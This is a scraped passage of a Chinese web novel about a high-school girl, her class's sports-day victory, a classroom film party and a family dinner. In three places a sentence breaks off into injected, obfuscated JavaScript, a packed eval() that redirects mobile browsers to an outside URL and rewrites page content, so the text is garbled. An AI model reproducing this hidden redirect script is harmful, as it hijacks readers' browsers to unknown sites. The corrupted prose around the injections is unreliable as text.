闭着眼睛都能感受到两人的不可置信,季知节想起昨晚上的惊险刺激,也深觉心累。 准备去洗澡时,自己的房门还没开就听见了爸妈房间的门开了,季知节只能偷偷摸摸地躲在房间。 不敢确定是谁到客厅去了,也不清楚要待多久,季知节又摸黑回到了课桌边,随后抽了一张卷子开始打发时间。 等反应过来时,一张卷子已经做了大半了,而此刻手机上的时间已经将近3:30多了。 好消息是这个点一定不会有人察觉。 坏消息这个点不一定还有觉睡。 果不其然,季知节最后只睡了将近两个小时。 “我真的要死了。”季知节哀嚎,“我的眼睛已经不是我的了,不然它们怎么会不听我的指挥!” “好可怕的磁场,它们一定要黏在一块!我没有办法!” 看着已经语无伦次的季知节,于落落相当顺手地就偷拍了一张。 于落落:“已经困得开始说胡话了。” 张镜没好气地拍开于落落企图作乱的手,摸着季知节的脑袋安慰道:“没事你睡会,等接力开始了我喊你。” “好。”季知节蹭了蹭张镜的肩膀,语气异常乖顺。 当沈瑜和周博承找到三个女孩时,不由相视一笑。 热闹的操场上,形成了独属于她们三人的角落,三个人互相依偎着,季知节倒在张镜的肩膀上,睡的十分香甜,于落落倚靠着季知节的背,眼睛好像也闭上了,张镜靠在季知节的脑袋上呼吸清浅。 “这都能睡着啊。”周博承有些神奇地看着姿势别扭的三人,掏出手机全方位记录着。 “别拍了,找人去吧。” 沈瑜不动声色地走到周博承镜头中,“快点吧,把接力的人找到。” 接力是独立于其他项目之外的一项运动,不需要重新报名,而是从每个班已经报名了运动会的学生中抽取四个人来参加接力。 所以劳模周博承又要再次上场了。 “行。” 周博承想起正事,遗憾地收起手机,“那我们去找陆谦和孙宇吧。” “不是我们,是你。” 沈瑜微笑。 “?”周博承一脸疑问,“那你呢?” “我有点事。”沈瑜顶着周博承怀疑的目光面不改色道,“我们一会儿检录再见吧。” “……行吧。” 49. 第 49 章 季知节做了个光怪陆离的梦,梦里有一座巨大的游乐园,摩天轮、碰碰车、大摆锤都在勤勤恳恳地转悠着,但是座位上的人却不是人,而是各种花色的猫猫狗狗。 边牧、金毛、拉布拉多、暹罗、布偶、金渐层……时不时还发出“汪汪”、“喵喵”的叫声。 我好像听得懂诶,这不是在喊着加油吗! 季知节感受着在脑海自动翻译成中文的声音,莫名激动。 不过坐个碰碰车也要喊加油吗? 季知节迷迷糊糊睁开了眼睛,就被迎面而来的热浪吹了个正着。 铺天盖地的加油声响彻云霄,跑道上的女孩子们严正以待,弓着身子等待着接力棒,略微踮起的脚尖带动着小腿的肌肉,就想要猎食的豹子一般充满攻击性。 “你醒了啊。” 一罐可乐贴上了季知节的脸颊,有些凉意的瓶身驱散了刚睁眼的茫然,季知节呲牙咧嘴地接住可乐,转头看向了旁边的女孩。 女孩松开可乐,揉了揉有些僵硬的肩膀,满脸笑意地打了个招呼:“surprise!” 季知节眨了眨眼,左右看了看,脑袋上的问号几乎都要具象化了。 “我还在做梦吗?”季知节看着两人合成一人,还合成的是隔壁班的人的大型“魔术”,一脸诚恳。 张安安双手撑在背后,眼睛里满是俏皮的笑意,“对啊对啊,你还在做梦呢,你现在是四班的人了。” “和安安一个班也太荣幸了吧。”季知节歪头看向女孩,小腿慢悠悠地晃荡着。 如果说人和人相处时的磁场有颜色,那么和于落落张镜在一起时,一定是红色的,一起疯一起闹的热烈火红,无论何时都会感受到暖意;和张安安在一起时,背景一定是蓝色的,犹如天空般静谧又包容的蓝。 “你睡得太熟了,张镜她们跑去玩了。”像是想到了什么,张安安轻笑出声,“她们把你的头挪到我肩膀上你都没知觉。” “难怪我睡得这么香,原来是安安的功劳。这肩膀可太舒服了。”季知节一脸了然,厚脸皮地又蹭了蹭女孩的肩膀,油腔滑调道。 张安安完全受用,学着季知节的模样晃动小腿,鞋后跟轻轻敲击在台阶上,借着力一下又一下荡了出去。 不到500米的地方人声鼎沸,季知节懒洋洋地靠着身后的台阶,几近虔诚地沐浴着阳光。 “可乐是给我的吗?” “对啊。不过不是我买的哦。” 季知节单手握住瓶身放在地上,拇指和食指微微用力,按住瓶口,食指轻轻撬起拉环,“啵”地一声,二氧化碳和空气接触发出呲啦呲啦的声音。 女孩得意挑眉,随口问道:“落落还是张镜买的吗?” 张安安相当给面子地鼓了鼓掌,“不是哦,是沈瑜买的。” 意料之中看到女孩的手一顿,张安安把视线转向跑道,有一搭没一搭地聊着天。 “也是他来找我的啦。” “张镜和落落不是也睡着了嘛,他问我如果她俩醒了你还没醒的话,我能不能过来陪一下你。” “‘希望她醒过来的时候身边有熟悉的人’,沈瑜是这么说的。” “我想着都是晒太阳,干脆直接就过来啦。” 喜欢一个人时,行为和言语中都藏着无法掩饰的真心,张安安想起男孩找到自己时有些害羞和腼腆的神情,张安安顺手碰了一下靠在旁边的矿泉水和张镜于落落都有份的可乐,不由偷偷瞥了一眼明显有些走神的女孩,开口问道。 “你是只喝易拉罐的可乐吗?” “啊?”季知节回过神,看了一眼手中的可乐,“倒也不是吧,只是觉得单手开易拉罐很帅,所以最近一直买的都是易拉罐。” 可乐的包装有很多种,玻璃瓶、易拉罐、塑料瓶,综合看来,选择塑料瓶的人总是许多,也有人说就好喝程度而言,玻璃瓶才是最好的,其次是易拉罐,但季知节并不会去考虑那么多,选择易拉罐单纯是因为包装好看加上开易拉罐的感觉实在上头,所以几乎不会选择其他,包括吃烧烤时,一众500ml的塑料瓶里面,季知节选择的依旧是330ml的易拉罐。 “确实很帅啊。” 张安安又想起刚刚女孩臭屁的模样,忍不住赞同。 季知节丢弃掉脑海中犹如气泡一样不断冒出的情绪,附和着张安安的话:“有眼光有眼光。” “静怡呢?” “被拖着做应援去了。你不去看比赛吗?” “这也能看,一会儿到高一组开跑我们就站起来好了,站得高看得远。” “说的也是。” …… 几乎是想到什么说什么,随机的话题、不确定的频率,开不开口全凭心意,不用刻意寻找话题,这是独属于季知节和张安安的默契。 接力的魅力在于团队合作以及全程冲刺时飙升的肾上腺素,这种紧张刺激不仅仅只是选手的独家体验,也会感染到观赛的人,当跑道站上熟悉的人影时,季知节和张安安不约而同地站起身,目光热切地盯着赛场。 比起姐妹班,林子期更愿意用宿敌一词称呼三班和四班的关系。 又是相邻的跑道,又是熟悉的对手,虽然生活中会出现这件事曾经做过,这个人曾经见过的错觉,但林子期百分百肯定这个场景就在两天前发生过。 周博承又站在了隔壁跑道,甚至两人都是四棒。 虽然跑得快的人站在最后一棒是共识,但是…… 冤家路窄! 两人对视一眼,万般嫌弃地撇开头,几乎是同时吐槽道。 站在起点处拿着接力棒正在热身的沈瑜当然不知道周博承和林子期又杠上了,当然即使知道了也可能只是拱火而已。 于落落把喝剩了的小半瓶可乐拧紧,不顾张镜的眼神杀,顺手就塞到了女生的手中。 “我是要拍照的!”于落落像是拿着盾牌一样举着相机。 “你是要挨打的。”张镜冷笑,却也没塞回去,一只手抱着两瓶可乐,看着于落落噼里啪啦一顿拍。 接力赛的耗时比400米要快上一些,毕竟每个人只需要考虑100米的速度,即使交接棒增加了一定难度,但与此同时观赏度也增加了。 深知无法用手机直接抓拍跑步姿势的季知节直接打开了录像,放大倍数后镜头对准了赛场。 拍不到可以截图嘛。季知节乐观极了。 …… 当周博承耀武扬威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726268|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地带着金牌满操场巡视时,就意味着运动会最后一天的重头戏要来了——教师接力。 “就这么让他像个二愣子一样到处晃吗?”季知节指着远处像个街溜子一样的男生,诚心发问道。 “我又不认识他。” 沈瑜面不改色地在季知节下面一个台阶坐下,嘴里还不忘撇清关系。 于落落捣鼓着相机,“没错没错。” “班长,这就是我们的同学爱呢。”季知节果断转头向张镜告状。 张镜闻言利索地打开手中的其中一瓶可乐,咕噜咕噜喝了个干净。 “给,你的可乐。” 女孩擦擦嘴,把已经空了的瓶子拧好还给于落落。 于落落颤抖着接过空瓶子,嘴唇嗡动,目光哀切,“我的宝啊,都怪妈妈不好,没有给你找一处好人家,你等着,妈妈这就给你报仇。” 言毕,于落落把相机塞到季知节手中,一个原地起跳就拽住了张镜手中的另一瓶可乐。 抱着相机看着眼前这鸡飞狗跳的一幕,季知节缓缓摇头:“……”你们开心就好。 万万没想到自己买的几瓶可乐会引出如此激烈的剧集,沈瑜沉思了三秒,站起了身。 眼看着最后一个正常人站起,季知节有些紧张地看向沈瑜:“你要去哪?” “……再去买两瓶可乐。”沈瑜实话实说。 季知节:“……不,你坐下。” 虽然不明所以,但是沈瑜依旧乖巧地坐了下来,脑袋微微仰着,一双手撑在地面上,眼睛直直看着说话的女生,仿佛在等待着下一个指令。 金毛…… 季知节有些不合时宜地想到了那个神奇的梦,毛……啊不,头发也好像很好摸的样子。 有些心虚地把视线从男孩的头发上移开,季知节略微清了清嗓子,“没事,你坐着就行,不用管她们。” “好啊。”男孩答应地相当爽快,长腿盘起,背部靠在了季知节坐着的那级台阶上,撑在地上的手白皙又修长,指尖冲着季知节搭在台阶上的鞋子,指甲修建的十分整齐,指腹不时轻点,像是在弹奏着什么。 意识到自己有些走神,季知节不自在地挪了一下鞋尖,似乎这样就能逃离这奇奇怪怪的氛围。 “一会儿老师跑完之后是不是就能等总成绩了啊?” 争斗告一段落的于落落和张镜没形象地席地而坐,于落落更是抄起张镜的可乐就猛灌了一口。 “差不多吧。老师接力的时候估计上面就在统分了。”张镜抿了抿有些干涩的嘴唇,最终拿起了季知节放在一边的可乐“哐“”地喝了一口。 毫无准备的季知节看着张镜手里的易拉罐欲哭无泪:“……”为什么倒霉的总是我。 于是季知节的可乐也宣告“死亡”。 “要不然我还是管一下?”沈瑜有些好笑地看着灵魂出窍的季知节,笑着挥了挥手机,“我让周博承再买一罐过来。” 正捧着可乐“尸体”哀悼的女孩眼巴巴地看向了男生,“他会买吗?” “会的会的,他一会就过来了。”沈瑜放低声音,像哄小孩般轻轻安慰道,“要冰的还是常温的?” “冰的。” “好。” 50. 第 50 章 “我没看见林子期诶。”周博承把可乐塞到沈瑜手中,一脸遗憾。 “那就是我听错了吧。”沈瑜面不改色地把还渗着水珠的可乐递给一旁眼睛都发着光的女孩,“你要不然再去找找?” 周博承没想太多,瘫坐在台阶上。 “那我等会再去吧,有点累了。” 作为目睹一切的证人,于落落目露怜悯,轻轻拍了拍周博承的肩膀,发自内心感叹道:“你辛苦了。” 被安慰的周博承一脸受宠若惊,摸着脑袋憨笑:“还好还好,跑步挺轻松的。” “……一边玩去吧。”张镜咽下叹息,一脸慈爱地看着男孩。 这是真傻啊。 作为既得利益者的季知节默不作声,依旧单手和可乐做着斗争。 单手开易拉罐并不难,只要能挑起拉环,基本上都能打开。其中的难点是开得帅。 “如果不能开得帅,那我不如双手开啊。”季知节如是说道。 第一瓶可乐的帅气成功实在给了女孩不少信心,季知节看着手里的可乐,相当自信地单手拎着易拉罐,食指扣上拉环。 地面借力?不需要的。 季知节信心满满。 预想中“啪”的声音并没有响起,挑起的拉环卡在了一个不上不下的位置,食指也已经曲到了最大的程度。 “……” “噗。” 男孩短促的气音传入耳朵,季知节恶狠狠地看向了沈瑜,耳尖泛红。 女孩的目光实在“凶恶”,沈瑜有些不自然地摸了摸鼻尖,一秒正色,“都怪周博承可乐买的不好。” “……没错。”季知节满意的收回目光,另一只手扶住瓶身,自然而然打开了拉环。 周博承:“……” —— 教师接力与其说是比赛不如说是趣味活动,不分年龄段不分男女,男教师跑二四棒,女教师跑一三棒,主打一个全民参与。 有些老师一看就是被迫报名的,穿着帆布鞋溜溜达达就上来了;也有老师兴奋的不行,钉鞋都穿上了。 汪俊得意洋洋地朝学生们挥着手,一副踌躇满志的样子。 “年轻老师就是好啊。”李化腾拧开玻璃杯,吹了吹茶水冒出的白气,一脸欣慰。 “可不是。” 一旁的化学老师赵觉摸了摸有些反光的脑门,暗自庆幸,“还好抽签抽到的不是我。” “没错,咱们走一个。” 两个印着“第一中学”的玻璃杯轻轻相碰,悦耳的撞击声如铃铛般动听。 教师接力堪称最没有悬念的比赛,汪俊带着几名老师一脸轻松地将冠军收入囊中。 但这依旧不妨碍汪俊挂着金牌到处晃悠,尤其是专门跑到三班四班的位置挨个炫耀。 “从这个方面看来,真的是有什么样的老师就有什么样的课代表啊。” 张镜看着叫得最欢的周博承,低声吐槽道。 “赞同。” “认证。” 短暂的休整之后,广播里响起了和开幕式如出一辙的交响乐,所有人便知晓,要结束了。 数千人慢慢涌入操场中心的草坪,开幕式整整齐齐的蓝白色变成了五花八门的颜色和图案,操场似乎都染上了代表着自我的气息。 校长站在高高的主席台上,骄傲地看着散发着青春气息的学生们,在音乐停下来之际,开始了闭幕式讲话。 “……接下来我们来宣布各年级组总分前三名的班级。” 冗长的讲话后,重头戏到来。 校长如愿看见前一秒还无所事事的学子们躁动起来,清了清嗓子,低头看向了手中的稿件。 “高一年级组,第三名的班级是—” 于落落深吸一口气,有些紧张地竖起了耳朵。 作为全程都在跟着项目跑的人,没有人比于落落清楚三班这次有多拼命,开幕式说出大话的是他们,努力让大话变成现实的也是他们。 “高一十五班!” 操场某处传来欢呼,紧接着就是如潮水般掌声。 少年们总是不吝啬送上欢呼与肯定,即使是对手。虽然赢家只有一个,但是我们都不是失败者。 周博承用力地拍着手掌,心跳却达到了最快。 这是一种不同于比赛、不同于等待成绩时的紧张,对于周博承而言,比赛不过是一种再熟悉不过的体验,但是无论跳高还是跑步,都不是团体项目,输赢不过是自己的事情而已。 可这是运动会,是以班级为单位的作战,是一荣俱荣、一损俱损的团体。 好想赢。 周博承紧盯着高台上的校长。 好想我们班赢。 “第二名的班级是—” 张镜脑海中不断闪过在成绩布告板上看见的名字和班级,尝试着的去计算分数,却发现连最简单的加法都开始变得艰难。 早知道拿笔和本子拉表格了。 “高一四班!” 三班旁边的队伍爆发出激烈的欢呼声,沈瑜看向激动得跳起来了的林子期,呼出一口气,真挚地送上掌声。 “第一名的班级是—” 校长相当懂得宣布排名渲染紧张的手法,拖着长长的尾音故弄玄虚地看向高一年级的方向。 是不是少了瓶贴着赞助的矿泉水啊? 季知节有些屏住呼吸看向校长,手里紧攥着口袋里的便利贴,脑子里不合时宜地吐槽道。 要说有多紧张好像也不至于。 在季知节的印象中,高一年级组的第一名三班,虽然参赛选手和项目发生了一定的变化,比如跑3000米的梁子笑和沈瑜、比如跑去跳远的于落落、比如没跑100米改跑400米的周博承…… 但是显而易见的,这是一种好的变化,成绩总体在向上浮动,虽然不记得之前的分数和名次了,但是季知节可以肯定的是前七名变多了,分数也应该比之前高。 现在基本都在预料之中不是吗? 季知节悄悄摸出揉得皱巴巴的便利贴,看着纸上写着的分数和名次,祈祷般闭上眼。 与此同时,带着电流的声音响了起来。 “高一三班!” “啊!!!” 欢呼声如烟花般炸在了季知节的耳边,炸在了操场上空。 赢了?! 赢了!! 季知节有些恍惚地听着周围的声音,掌声、喊叫声都想是从另一个次元传来的一般,隔着一层纱、蒙着一层雾。 “知知!我们是第一名!” 从后背传来的冲击让季知节踉跄了几步,堪堪止住向前的惯性,女孩侧过脸,对上了一双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752037|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜片也遮不住笑意的眼睛。 霎时间,重回人间。 愉悦从心底溢出,爬至嘴角,攀升瞳孔,渲染每一根发丝、细胞。 少女脸上的笑意浓郁得似乎一张脸都盛不下,灿烂得有些灼人,连在脸上的阳光都有些失色。 “嗯!我们是第一!” 季知节并没有蹲在布告板前一个个记成绩,那样并不现实,而且还会错过很多比赛。便利贴上记着的不过是听见的、看见的、以及听说的名次。 注意到了就记一下,没注意到的就随缘。从头到尾不过是自娱自乐、自我参考而已,并没有让任何人知道。 没有把握的事情说出来有可能会让人空欢喜一场。季知节并不想做这样的事情。 可即使事先有了猜测,有了准备,但真正当“高一三班”四个字从麦克风里传出来时,季知节还是激动得想要流泪。 集体荣誉感。 季知节只能这样称呼这般浓烈的感情,并深深为此自豪。 这是高一三班的时刻。 “让我们用热烈的掌声欢迎高一年级组上台领奖。” 在经久不息的掌声中,李化腾走到队伍末尾,看向活跃得不行的男生。 “周博承,去吧,去领奖。” “好嘞!” 周博承原地敬了个不伦不类的礼,然后双手拍上了沈瑜高高举起的手。 “啊!我也要!” “我也!体委givemefive!” 周博承看向前方不约而同举起的手,脑袋里“叮”的一声亮起了灯。 男孩举起了双手,朝着老师的方向举起了双手。男孩的目光热烈而坦诚,像是在期待着什么。 李化腾有些发愣,能解出各种数学题的脑袋似乎短路了般无法工作。 沈瑜轻声喊道:“李老师?” 李化腾回过神,似笑似叹,宽厚的掌心碰上了男孩充满热意的手掌,老师与学生在此刻,心意相通。 “啪!”一声脆响勾起了所有人的笑意。 周博承一路小跑着,像个大明星一般和路过的每一个人击掌,还买一送一附赠了许许多多的微笑。 “可恶,还是被他装到了。” 于落落甩了甩击过掌的手,佯装抱怨,但脸上依旧是掩盖不了的笑意。 即使旁边站着的是林子期也不能分散周博承此刻的目光,小小的一张橙色奖状上写着的高一三班几个字摄取了周博承全部的心神。四个字,囊括了全班的同学、老师、还有所有人留下的汗水、喊出的加油。 怎么这么重啊。 周博承朝着班级的方向高高举起奖状,似乎像是举起了一个太阳般,肆意地笑着。 “唉,同学,奖状拿低点,我们要拍照了!” “啊啊,好的!” 无奈的话语透过麦克风隐隐传播开来,不含恶意的嘲笑声四下响起,三班人不忍直视地低头看着草坪,心中默念着清心咒。 谁懂,替人尬尴的毛病又犯了。 哪个天才让这个傻子上台的啊!哦哦周老板啊,那没事了。 “神经啊!” 有人笑骂道。 最大的笑声从三班的队列中响起。 “咔擦。” 李化腾笑着将这一幕定格,然后铭记。 51. 第 51 章 运动会最后一天的下午是汉堡和可乐味的。 假期作业写在了黑板上,智能白板放映的不再是令人头大的课件,而是《心灵〇旅》。 “要剧透嘛,我给你们剧透呀!” 于落落支着脑袋,笑得格外灿烂。 “你最好是闭嘴。”张镜看着就坐在旁边的女孩,“温柔”警告道。 四张课桌被拼成了一张大桌子,所有人端着凳子排排坐,桌面上没有一点和学习有关的东西,零食饮料堆成了小山,课堂彻底变成了郊游大会。 “如果学校能送外卖就好了,不然也不至于只能在小卖部买零食了。”周博承撕开薯片的包装袋,略有些遗憾, “连汉堡都是李老板人肉搬进来的,你还想点外卖呢,能有的吃就不错了。”陆谦满足地咬了一口汉堡,“这辈子都没想到能在教室里开party。” “谁懂啊,被李老板喊过去以为我犯错了,结果被带到停车场。”周博承想起方才的情景就头皮发麻,“我还以为要在停车场揍我来着,结果拉开车门全部都是汉堡和可乐。” “要揍你干嘛要喊我,自带见证人吗?” 沈瑜漫不经心地瞥了一眼周博承,“我可是得意门生。” “……你最好高中三年数学都能这么好。”周博承愤恨地吸了一口可乐,“但凡班长哪次数学超过了你,我就要笑你三年。” 张镜:“……”这和我有哪门子关系。 “像不像受了欺负回家找妈妈告状的儿子。”于落落扯了扯季知节的衣袖,低声吐槽。 注意到“母子俩”看过来的目光,季知节不动声色地从于落落手中解救回自己的衣袖,举起可乐,面不改色地转移话题。 “虽然不是疯狂星期四,但是疯狂星期五也不赖啊!” “确实。”沈瑜举杯轻碰,相当自然地接过了话题,“多刺激啊。” “无论看多少次我都只能用狼狈为奸来形容他们。”周博承控诉着,手里的可乐却老实地举了起来。 “谁说不是呢。不过你也不错,都会用成语了。” 张镜轻描淡写地达成二杀成就。 “等等等!我先拍个照!”于落落手忙脚乱地摸着手机。 “你手机已经吃得比你还饱了,放过它吧。”张镜自然地把矛头对准于落落,手中的可乐却也没放下。 口嫌体正直。 张嘉欣莫名想到了这样一句话。 碰完杯、拍完照,可乐被季知节顺手放下,插着的吸管搅拌着冰块和可乐,女孩的目光里闪过一丝可惜。 “怎么啦?”冰块和习惯的碰撞声引起了沈瑜的注意,察觉女孩有些异常的神色,男孩低声问道,“喝不下可乐了吗?” “有一点吧,毕竟我的血液里还不是可乐。” 一上午喝了两杯可乐,下午再来一杯可谓是有点承受不起了。 “不喝就放一边好了。”沈瑜目光在桌子上一扫而过,“我们买了牛奶你要么?” 季知节摇摇头,有些不好意思道:“其实吧,我有点想吃里面的冰块。” 或许是觉得这个癖好有点奇怪,季知节很快改口道:“没事,我喝牛奶好了。” “可乐里的冰块会好吃一点吗?”沈瑜微微起身拿过一瓶牛奶摆在了女孩面前,神色好奇。 “…我觉得挺好吃的。”季知节抿了抿嘴,手里不自觉搅拌着可乐。 似乎是没注意到女孩的不自然,沈瑜掀开了可乐的盖子,认真地观察着在气泡中若隐若现的冰块,歪头想了一下,从一旁的八宝粥盖子里掏出一把勺子,相当有技巧地捞出了一块冰块塞进了嘴巴。 “嘶!”过低的温度刺激着口腔,沈瑜不自觉地皱起了脸,从左边顶到右边,又从右边顶到左边,冰块似乎在跑酷一般动来动去,微微鼓起的脸颊像是刚发酵起来的面团,看起来柔软又可爱。 “你嚼啊!” 沈瑜的每一步都在季知节的意料之外,看着状似被冰块打了一拳的男孩,季知节有些哭笑不得。 “哪有直接含在嘴里面的啊!” 干净的纸巾被递到男孩面前,季知节笑着说:“不行就吐出来吧,别勉强啊。” “咔擦。” 冰块从口腔被顶到齿间,沈瑜看着女孩手里那张洁白的纸巾,上下齿用力,冰块被咬碎的声音透过牙齿传入脑海,清透冰凉的感觉直达天灵盖。 细碎的冰块依旧在口腔内翻来覆去,已经融化的冰块顺着喉咙滑入身体,沈瑜接过女孩递来的纸巾,眉眼弯起,唇角上扬,绽出了极其灿烂的笑容。 “我才不。” 男孩笑靥如花,嘴里还说着不着调的话。 可偏偏是这幅没个正形的模样,横冲直撞地砸进了季知节的脑海,激起了阵阵涟漪。 “…随便你。”季知节语速飞快,慌不择路地拿起可乐猛吸了一大口,然后对上了其他人看得津津有味的目光。 “继续啊!”于落落磕着手里的瓜子,口齿不清道。 “你们牙口都挺好的哈。”张镜目露感叹,“果然还是我老了。” 周博承看向陆谦,手里的纸巾当帕子一样甩在了陆谦身上,声音拖长,语气夸张:“我~才~不~” 季知节:“……” 沈瑜:“……” “看什么看!电影在我脸上啊!”季知节恼羞成怒地随手抄起几包薯片砸向了几人。 “niceball.”沈瑜递上第二波“弹药”,指向周博承、陆谦以及没说话的梁子笑,“这边也是好球带。” 梁子笑:“……”这到底关我什么事。 于落落看着手中接住的薯片,有些惋惜,“我不想要原味的,我想要黄瓜味的。” 我是什么自动售货机吗?还给你挑上了?我看你长得像个黄瓜!我一会儿就把黄瓜味的都吃光! 想要吐槽的话太多,最后浓缩成一个充满感情色彩的单字。 “呵。” 季知节不再管是否雅观是否合适,在杯子中哐哐扫了几个冰块咬得嘎吱作响,投入得仿佛咬得不是冰块,而是某些人的脑袋。 不敢在老虎脸上拔胡须的几人老老实实把目光投向了前方,投入也好,走神也罢,总归是开始有些看电影的样子了。 这是一部动画电影,但是动画电影的受众从来都不是小孩子,它更是献给所有人的一场心灵旅行。 季知节早就听说过这部片子,也曾经在刷短视频时,刷到过所谓的“五分钟带你看完这部电影”的解说。在被学习压垮的高中时期和被压力逼疯的以后,比起长达一个半小时的电影,季知节更习惯在几十秒的短视频中颓废 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774360|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度日。 但故事,得亲眼去瞧;感悟,得亲身去体会;他人开口说出的,总是带有主观色彩的偏向和引导。 这是浮于表面的,这是无法走入内心的。 不知从哪个时刻开始,季知节就再也没感受到外部的声音了。 “Howareyougonnaspendyourlife?(要怎样度过你的人生?)*” 季知节有些恍惚地想起那短短几秒,却又贯穿整个电影的台词。 所以你要怎么度过呢? “I’mgoingtoliveeveryminuteofit.(我将珍惜每一分钟去活着。)” 电影落幕。 季知节苦笑着低头,想起曾经被生活压垮的自己和不知所踪的灵魂,视线渐渐模糊。 她曾经是不是也变成了22那样呢?被困在内心不见天日的角落,日复一日责怪着自己、唾弃着自己。 spark—火花。 purpose—目标。 被困在目标二字里的又何止乔伊啊。 忽视了“火花”的又何止22。 吃到喜欢口味的薯片、可乐里的冰块、偶尔成功的单手开可乐、今天的作业很少、明天就能睡懒觉…… 明明小确幸有那么多,却还是盯着虚无飘渺的意义二字发呆,甚至于发疯。 人是一种很擅长自我驯化的动物,生活在框定好的范围内,哪怕有人告诉你外面的世界很美好,害怕未知、害怕不同、害怕成为“异类”。 按部就班就好,一模一样就好,他们都有目标了所以我也要有,他们都结婚生子、成家立业,所以这就是我们人生的意义。 纯属放屁。 这他x的是我的人生,我说怎样就怎样。 女孩抹了抹眼泪,深吸一口气抬头。 “好了?” 于落落撑着脸,眼带笑意地看着女孩。 教室不止何时已经空下来了,只有这一桌的人还安然坐着。 或冷静、或担忧,视线几乎都集中在女孩身上,却一点也不会让人感受到压力,也几乎所有人的眼睛都有哭过的痕迹。 桌上的零食袋子被清了个干净,季知节眼前甚至多了不少纸巾,但没有一个人出声提醒。 “好了。” 季知节吸了吸鼻子,抽出纸巾随手抹了把脸,声音哽咽。 “我从周博承嘴里面抢下来的。”张嘉欣往女孩手里塞了颗糖,不熟练地开着玩笑,“赶紧吃。” “我就说最后一颗怎么找不到了!”周博承嚷嚷着,“课代表你学坏了!” “这里课代表这么多,你能不能带上定语。”梁子笑推了推眼镜,语气一顿,“你知道定语是什么意思吗?” “……我不傻好吗:)” 沈瑜红色的牛奶罐推到女孩手边,语气调侃:“要再单手开一次嘛?” “这个太硬了,我开不动。” 女孩嗡声嗡气,拒绝了男孩的提议。 “所以你是已经试过了是吗?” 张镜挑眉,“指甲劈了没?” “……差点儿。” 笑声小小的一张桌子上爆发,季知节捂住泛红的耳尖,心里止不住的开心。 看吧,这就是我的“火花”。 52. 第 52 章 “所以!我们班是第一名!” 难得派上用场的餐桌摆着简单的家常菜,季知节眉飞色舞地讲述着三班的“丰功伟绩”。 “我们最后还在横幅上面签名了!然后横幅被李老师带回家啦!” 想起颁奖典礼结束后,所有人蜂拥而上签名的场景,季知节依旧笑出了声。 “你不是没跑步吗?分数和你关系也不大吧!”季红卫想也没想开口道,“而且你们太张扬了,万一你们没有拿第一名,你们横幅就成一个笑话了。” “……” 夹着青菜的筷子停在半空,季知节抿嘴,想反驳的话堵在胸口,不上不下。 “没有吧,不挺好玩的吗,小孩子嘛。”柳明霞神色如常地吃着饭,开口道。 似乎是找到了撑腰的人,季知节义愤填膺地附和道:“就是啊,我们还是小孩子啊!不热血一点像话吗!” “还小孩子呢,我像你这么大的时候……” “好好好!stop!” 季知节随便夹了一筷子菜塞到季红卫碗中,物理打断施法。 “我已经会背了,我亲爱的爸爸!” 夸张的译制腔和动作让季红卫一时忽略了被打断的怒气,季红卫笑骂道:“能不能别疯疯癫癫的。” “我这叫疯疯癫癫吗?”季知节不服,“我这叫活泼开朗。” “你这叫活泼过了头。”柳明霞笑着敲了一下女儿的头,催促道,“好好吃饭。” “得嘞。” 不想听亲爱的父亲吹嘘过去的艰难岁月只是一方面而已。 季知节笑着扯开了话题,开始夸赞妈妈今天做的饭菜,看到妈妈脸上露出止不住的笑容,季知节心满意足地吃着饭。 这是父辈相当擅长的一种手段,所谓忆苦思甜。 自季知节能记事开始,就开始听季红卫讲述过去的故事了。 当季知节犯懒时,季红卫尝试用过去的故事训诫她勤劳;当季知节骄傲时,季红卫期盼她能从他的过去学会谦虚;当季知节“不听话”时,他又想用他的不容易让女儿学会孝顺。 “会背”并不是什么夸张的形容,如果一段故事听上十几二十年,是个人都能背出来。 这是一段神奇的过去,季知节想,不然这一段并无太大差别的故事在不同的场景居然能有不同的教化意义,简直比“万金油”还“万金油”。 忆苦的目的到底是什么呢?珍惜现在的美好吗?可为何听了之后只有满满的愧疚感呢? 也可能对于故事讲述者来说,忆苦本身就是一种目的了吧。 但是这也确实是第一次,如此直白地打断父亲的回忆。 季知节趁着埋头吃饭的功夫,偷偷瞥了一眼面无异色的爸爸,悄悄松了一口气。 还是有点害怕秋后算账的啦。 饭桌上又恢复了一片祥和,季红卫和柳明霞偶尔聊着听不懂的工作细节。 季知节看着不知不觉已经见底的碗,恍然惊觉自己的情绪意外的平和。 仿佛兜头泼的不是一桶凉水,而是一桶温水,还能趁机洗个头。 被自己的脑洞逗笑,季知节收拾好碗筷,乐颠颠回了房间。 “我吃完啦!看书去啦!” “这孩子是不是傻了?” 